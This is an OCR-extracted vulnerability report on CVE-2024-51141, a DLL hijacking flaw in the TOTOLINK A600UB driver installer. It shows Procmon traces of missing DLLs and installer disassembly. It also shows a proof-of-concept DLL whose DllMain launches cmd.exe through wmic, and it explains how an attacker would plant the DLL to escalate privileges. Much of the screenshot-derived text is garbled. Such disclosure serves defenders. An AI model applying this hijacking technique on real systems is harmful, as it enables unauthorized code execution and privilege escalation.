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the TOTOLINK A6OOUB Installer Allows Unauthorized Access

Researcher CVE

CVE-2024-51141

Miguel Angel Méndez Zuniga

Summary:

In this report prepared by the Secure Soft Research team, we analyze
a critical DLL hijacking vulnerability present in the driver installer of
the TOTOLINK A600UB, a USB device supporting Wi-Fi and
Bluetooth connectivity. This vulnerability allows an attacker to
execute malicious code and escalate privileges on vulnerable
systems by exploiting a simple flaw in the driver installation process.

You will learn how attackers can exploit the absence of certain
essential DLLs during the driver installation, wich enables them to
inject malicious code into the system. We explain step by step how
the attack is carried out, from manipulating the DLLs to
unauthorized access to the system.

Through practical examples and a detailed analysis, this report is
essential for system administrators, software developers, and
cybersecurity professionals who want to protect their infrastructures
from this critical threat. Recommendations are also provided to
mitigate this vulnerability and enhance security in application and
driver development.
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3. Root cause analysis

After downloading and running the binary, it presents two
installation options: the first allows the installation of the Wi-Fi driver,
while the second option is to install the Bluetooth driver. Both drivers
are installed and eventually stored on the disk.

o = | Manage F o

File Home Share  View Application Tools v @
+ > temp ~ U Search temp p

Name Date modified Type
s Quick access
I Desktop

¥ Downloads

data 6/20/2024 451 PM File folder
2 installer.exe 11/25/2019 10:07 PM Application

“ Documents

X W % %

&= Pictures

DA77

) USB Bluetooth Wireless Ad.. X

PavelTools
Toals

WiFiAutolnstall Install Wi-fi Driver

™ This PC Install Bluetoo
-4 3D Objects
M Desktop

** Documents
¥ Downloads
b Music

&= Pictures

n.

2items  1item selected 2.24 MB

After completing the installation and configuration process, the
corresponding files are saved to the hard drive, specifically in the path
C:\Program Files\TOTOLINK\WiFiAutolnstall.

Program Files » TOTOLINK » WiFiAutolnstall »

~
Mame

Dirriver
o4
XE6
| difxapidll
| unins000.dat
ﬁ unins000.exe
L WifiAutalnstallini
[ wifiAutolnstallDriver.exe
W WifiAutolnstallSrv.exe



action.

Operation

~ CreateFile
CreateFile
CreateFile
CreateFile
CreateFile
CreateFile
CreateFile
CreateFile
CreateFile
CreateFile
CreateFile

:I:I:I:I:I:I:I:I:I:I:"

Process Name

WifiAutolnstallDriver.exe
ifiAutolnstallDriver.exe
WifiAutolnstallDriver.exe

WifiAutolnstallDriver.exe
- WifiAutolnstallDriver.exe
WifiAutolnstallDriver.exe
WifiAutolnstallDriver.exe
WifiAutolnstallDriver.exe
WifiAutoInstallDriver.exe

Path

C:\Users\miguel mendez z\Desktop\MSASN1 dll
C:\Users\miguel mendez z\Desktop\WIdp.dll
C:\Users\miguel mendez z\Desktop\PROPSYS.dll
C:\Users\miguel mendez z\Desktop\edputil.dil
C:\Users\miguel mendez z\Desktop\urimon.dll
C:\Users\miguel mendez z\Desktop\iertutil dll
C:\Users\miguel mendez z\Desktop\srvcli.dll
C:\Users\miguel mendez z\Desktop\netutils.dll
C:\Users\miguel mendez z\Desktop\SspiCli.dll
C:\Users\miguel mendez z\Desktop\MPR.dII
C:\Users\miguel mendez z\Desktop\MSASN1.dll
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Upon running the corresponding binary, it can be observed, using the
Procmon tool, that the binary makes calls to several DLLs. However,
these DLLs are not present on the system or in the current path of the
binary, allowing the end user to add a custom DLL to perform a specific

Result

NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND

It can be observed that IpVerb is set to 'runas' indicating that the
program will run with administrator privileges, triggering User Account
Control (UAC). This will then execute WifiAutolnstallDriver.exe, which is

set in IpFile.

1A View-A, Preudocode-A

-text:004013C4 pExecinfo
-text:004013C4
- text:004013C4
. text:004013CS
-text:004013C7
- text:004013CA
. text:004013CB
+text:004013CC
. text:004013CE
-text:004€1301
. text:00401308
- text:0040130A
- text:00401308
- text:0040130E
.text:004013E1
- text:004013E6
-Text:004013E9
-text:004013F0
. text:004013F7
- text:004013F9
-text:004013FA
- text:004013F0

o

- Segments. T

= SHELLEXECUTEINFOW ptr -3Ch

push
mov
sub
push
push
push
lea
mov
push
push
mov
mov
call
add
mov
mov
push
pop
cmp
jnz

ebp

ebp, esp

esp, 3Ch

esi

edi

38h ; '8' ; Size

eax, [ebpepExecInfo.fMask]
[ebpepExecInfo. cbsize], 3ch ; "¢’
0 ; val

eax ; void *

di, dx

si, ex

esp, 6Ch

[ebpspExacinfo, 1pVerb], offset aRunas ;
[ebp+pExecinfo.lpFile], offset word 418400

69h ; ‘i
eax

ax, si
short loc_401425

Strings ®
06 X 7 Paeudocodeh
const WCHAR *lpparameters; // ez
4| const wchar_t *vs; // ec
DWORD result; // eax
SHELLEXECUTEINFOW pExecInfo; //

Structures

pExecinfo.chSize = 60;
| memset(&pExecl

» .1pVerb = L"runas”;
.1pFile = &word_418400;
a1)

;3
> == 100 )

goto LABEL_19;

“punas"

Parameters = L"-is -r";
21 R ]
22 LABEL_S:

401410)

if ( o 115 )
IpParaneters = v5;
goto LABEL_18;
* case 'u
-text:00401425 if (a2 == 100 )
.text:00401425 loc_401425: {

08401425 push  75h ; ‘v pExecinfo.lpParaneters = L
- text:00401427 pop  eax » 30 goto LABEL_19;
- text:00401428 cmp ax, si 31 } " .
-text:0e401428 nz short loc_se1s © 32 idic L%-ve =035

gOto LABEL

[~
. text:90401420

push  €an; 'd'
- text:0040142F pop  eax
.text:00401430 cmp ax, d&

- text:00491433 jnz

short loc_de143¢]

case 't':
PEX o.1pParameters = L
goto LABEL_19;

case 'p':

ecInfo.lpParameters = L°-
goto LABEL_19;

= L5 -r";

.text:00401410
.text:00401410 loc_401410:
.text:00401410
.text:9e401415

mov
mov

B 0040143€ !
. text:0040143€ loc_4014
|| |- text:0ed0143¢
. text:00401443

11=115)
Parameters = pexecInfo.lpPari
eax, offset alsR ;

ecx, offset aIR ; "-i -

.1pparameters =

. text:00401448
esult = ShellExecuteEx(&pExec
1F ( tresu

return G
return res

i

.text:0046141A loc_40141A:

=
.text:0040141A
. text:0040141A

push  73h ; °

lpparanmeters = L"

nfo.fMask, 0, @x38u);

id -r";

“ud -r";

—

P -r";

ameters;

fo);

=K
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Bellow is a basic code to create a test DLL that runs cmd.exe when

loaded.
.text:10001000 ; BOOL __stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
.text:10001000 _ stdcall Dl1lMain(x, x, X) proc near
.text:10001000
.text:10001000 hinstDLL = dword ptr 8
.text:10001000 fdwReason = dword ptr @cCh
.text:10001000 lpvReserved = dword ptr 10h
.text:10001000
.text:10001000 push ebp
.text:10001001 mov ebp, esp
.text:10001003 sub [ebp+fdwReason], 1
.text:10001007 jnz short loc_10001016

=

.text:10001009

push © ; uCmdShow

.text:1000100B push offset CmdLine ; "wmic process call create \"cmd.exe\""
.text:10001010 call ds:WinExec
v

10001016

10001016 loc_10001016:

10001016 mov eax, 1
10001018 pop ebp
1000101C retn och
1000101C _ stdcall D11lMain(x, x, x) endp
1000101C

With the identification of the missing DLL and the creation of a custom
DLL, the attacker could place this DLL in a directory from which the
trusted binary can load it. The attacker could then wait for an
administrator to execute the legitimate binary or use social engineering
techniques to convince a user with the appropriate permissions to run
the binary. This would cause the binary to load the malicious DLL,
enabling the attacker to escalate their privileges on the system.

Does signed binary load
DLLs and evade AV?

-

Binary with elevated
permissions?

K "
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4. Conclusion:

The analysis of the DLL hijacking vulnerability in the TOTOLINK A6OOUB
driver installer reveals a critical security gap that can be easily exploited
to compromise systems. By detecting and taking advantage of the
absence of certain DLLs during the installation process, an attacker has
the opportunity to inject malicious code, achieving privilege escalation
that grants control over the affected system. This type of vulnerability
highlights the urgent need to adopt more secure development
practices, such as thorough validation of loaded files and careful
management of DLL search paths.
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